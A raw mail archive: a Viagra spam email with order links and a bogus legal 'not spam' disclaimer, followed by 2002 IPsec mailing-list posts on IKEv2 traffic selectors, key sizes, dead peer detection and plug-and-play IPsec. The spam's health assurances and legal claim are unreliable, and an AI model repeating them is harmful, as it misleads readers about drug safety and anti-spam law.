No need to go through embarrassing, stressful situations anymore, you can now get Viagra from the comfort of your home!

Some Things to think about...

1) You will not get an erection without sexual stimulation - no need to be embarrassed like when you use other sexual stimulants. You will only gain an erection when you are sexually stimulated.

2) More men use and trust Viagra as a treatment for sexual dysfunction than other sexual stimulation aids. Viagra is a safe sexual treatment that is proven because of the wide use and acceptance by the general public.

3) When you use Viagra you are able to gain an erection through your partners sexual stimulation - all of your sexual acts, feelings and your love making is the result of your chemistry.

This is the easiest and most discreet way to
end impotence

To order online click here

It's worked for so many don't waste any more time get started by following the link on this page!
This email was sent to you because your email is part of a targeted opt-in list. If you do not wish to receive further mailings from this offer, please click below and enter your email to remove your email from future offers. Anti-SPAM Policy Disclaimer: Under Bill s.1618 Title III passed by the 105th U. S. Congress, mail cannot be considered spam as long as we include contact information and a remove link for removal from this mailing list. If this e-mail is unsolicited, please accept our apologies. Per the proposed H.R. 3113 Unsolicited Commercial Electronic Mail Act of 2000, further transmissions to you by the sender may be stopped at NO COST to you Do Not Reply To This Message To Be Removed. Easy Remove and contact: click here
0f1QiCCWWaADLP2KB4Eq5dcxeAiemqGkbNf8Q331FbI478h6354YxL --1576rg6w8v5Dnln070kiJX3OqngTFce---Minemindfxxyf8Y0d4pfkbme5p118Ea=-- From owner-ipsec@lists.tislabs.com Wed Oct 30 23:52:49 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9V7qmW28940; Wed, 30 Oct 2002 23:52:48 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id CAA10868 Thu, 31 Oct 2002 02:16:58 -0500 (EST) Message-ID: <20021031071711.19789.qmail@web15106.mail.bjs.yahoo.com> Date: Thu, 31 Oct 2002 15:17:11 +0800 (CST) From: =?gb2312?q?=D3=EE=B7=C9=20=CD=F5?= Subject: A question about traffic selector To: ipsec@lists.tislabs.com MIME-Version: 1.0 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I read the doc draft-ietf-ipsec-ikev2-03.txt, and i'm confused by the description about traffic selector. The follow is in 4.9: It is possible for the Responder's policy to contain multiple smaller ranges, all encompassed by the Initiator's traffic selector, and with the Responder's policy being that each of those ranges should be sent over a different SA. Continuing the example above, Bob might have a policy of being willing to tunnel those addresses to and from Alice, but might require that each address pair be on a separately negotiated child-SA. If Alice generated her request in response to an incoming packet from 10.2.16.43 to 18.16.2.123, there would be no way for Bob to determine which pair of addresses it is most urgent to tunnel, and he would have to make his best guess or reject the request with a status of SINGLE-PAIR-REQUIRED. 1.What is it means that "might require that each address pair be on a separately negotiated child-SA"? If is the "each address pair" imply a pair of a single address, such as 10.2.16.43 and 18.16.2.123? 2.The sentence "If Alice generated her request in response to an incoming packet from 10.2.16.43 to 18.16.2.123" puzzles me. As we know, 10.2.16.43 is on Alice's side and 18.16.2.123 is on Bob's side, but the word incoming is used here. So i have to think it is Alice's request that from 10.2.16.43 to 18.16.2.123. Why do the doc say "there would be no way for Bob to determine which pair of addresses it is most urgent to tunnel"? _________________________________________________________ Do You Yahoo!? 新鲜到底,娱乐到家 - 雅虎推出免费娱乐电子周报! http://cn.ent.yahoo.com/newsletter/index.html From owner-ipsec@lists.tislabs.com Thu Oct 31 08:27:35 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9VGRYW23571; Thu, 31 Oct 2002 08:27:34 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA11588 Thu, 31 Oct 2002 09:54:32 -0500 (EST) Message-Id: <200210311113.GAA12830@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:;;;;@tislabs.com;;; CC: ipsec@lists.tislabs.com, ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt Date: Thu, 31 Oct 2002 06:13:16 -0500 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : Requirements for Plug and Play IPsec for IPv6 applications Author(s) : T. Kobayakawa, S. Miyakawa Filename : draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt Pages : 5 Date : 2002-10-30 This document describes requirements about how IPsec is supplemented for IPv6 Plug and Play applications. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-10-30155419.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-10-30155419.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Thu Oct 31 08:27:52 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9VGRqW23626; Thu, 31 Oct 2002 08:27:52 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA11594 Thu, 31 Oct 2002 09:55:32 -0500 (EST) Date: Thu, 31 Oct 2002 16:48:09 +1300 (NZDT) Message-ID: <200210310348.QAA248577@ruru.cs.auckland.ac.nz> From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: ipsec@lists.tislabs.com, paul.hoffman@vpnc.org, pgut001@cs.auckland.ac.nz Subject: Re: Fwd: Re: IKEv2 Key Size Conformance Requirements Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Paul Hoffman / VPNC writes: >Peter is generally the best Keeper Of Interesting Certs around, so I'll trust >his judgement on this. If no one here says "1536 is important to me", I'm fine >with taking it out of the MUSTs. I've grepped the collection and found a single cert with a 1536-bit key. This has an OU of 'Bovine Ballistics, Inc', uses md2WithRSA, (deprecated) X.509v2 subject and issuer unique IDs, and some other oddities, so I don't think it's worth worrying about. All others were 512, 1024, or 2048 except for one or two really old certs at 768. Peter. From owner-ipsec@lists.tislabs.com Thu Oct 31 08:45:11 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9VGjBW25991; Thu, 31 Oct 2002 08:45:11 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA11751 Thu, 31 Oct 2002 11:04:14 -0500 (EST) X-Envelope-Sender-Is: ewilkinson@efficient.com (at relayer ns1.sbs.siemens.com) Message-ID: <36C2EB69D2F9D411A9AB00D0B7200334F81E17@eniwest.inside.efficient.com> From: Edward Wilkinson To: ipsec@lists.tislabs.com Subject: Dead peer detection Date: Thu, 31 Oct 2002 08:03:05 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I have wondered around the working groups site and could not find the draft-ietf-ipsec-dpd-00.txt any longer nor could I find any on going conversations on the subject. Was this draft allowed to expire without any further discussions, or was another draft started. I understand that some products do "dead peer detection" and was wondering if this draft was how it was to be done or if the use of lower re-key timer (say 600 seconds) in phase one would have the same effect, if one was to delete the phase 2 sa's if the phase one negotiations failed. Thanks Ed Wilkinson From owner-ipsec@lists.tislabs.com Thu Oct 31 10:25:34 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9VIPXW02391; Thu, 31 Oct 2002 10:25:33 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA12247 Thu, 31 Oct 2002 12:50:41 -0500 (EST) From: rcharlet@SonicWALL.com X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: I-D ACTION:draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt Date: Thu, 31 Oct 2002 09:50:34 -0800 Message-ID: Thread-Topic: I-D ACTION:draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt Thread-Index: AcKBASL+5v8fko60SQ6iLz6zxlej0gABAZkA To: X-OriginalArrivalTime: 31 Oct 2002 17:50:39.0924 (UTC) FILETIME=[06893F40:01C28106] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id MAA12244 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Howdy, What threat would this succeed in averting? -- Ricky Charlet rcharlet@alumni.calpoly.edu USA (408) 962-8711 From owner-ipsec@lists.tislabs.com Thu Oct 31 21:40:17 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id gA15eGW06719; Thu, 31 Oct 2002 21:40:16 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA13174 Fri, 1 Nov 2002 00:05:27 -0500 (EST) Date: Thu, 31 Oct 2002 21:05:29 -0800 (PST) From: Jan Vilhuber To: cc: Subject: RE: I-D ACTION:draft-kobayakawa-ipsec-ipv6-pnpipsec-reqts-00.txt In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Presumably only passive wiretapping kinds of attacks. Maybe we should standardize the april fools draft-rfc pre-shared key for IKE as the default password for plug-and-play ipsec? I'm not sure if this is a really good idea or a really bad one (as a professional paranoiac, I tend towards the later). Bad idea? False sense of security because now everyone thinks they are being protected by ipsec (and really aren't, at least not terribly much)? or Good idea? A quick way to roll standard IPsec out to the masses with a clean upgrade path: start deploying real pre-shared keys or certificates (or dnssec or whatever) and use the tasty goat key only if all else fails (still leaving the impression we're very secure when we're not?)? Hm... tasty goat, if I do say so myself ;) Can you make me one? jan On Thu, 31 Oct 2002 rcharlet@SonicWALL.com wrote: > Howdy, > > What threat would this succeed in averting? > > -- > Ricky Charlet rcharlet@alumni.calpoly.edu USA (408) 962-8711 > > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 THE NETWORK WORKS, NO EXCUS NFS server mastiff-fddi not responding still trying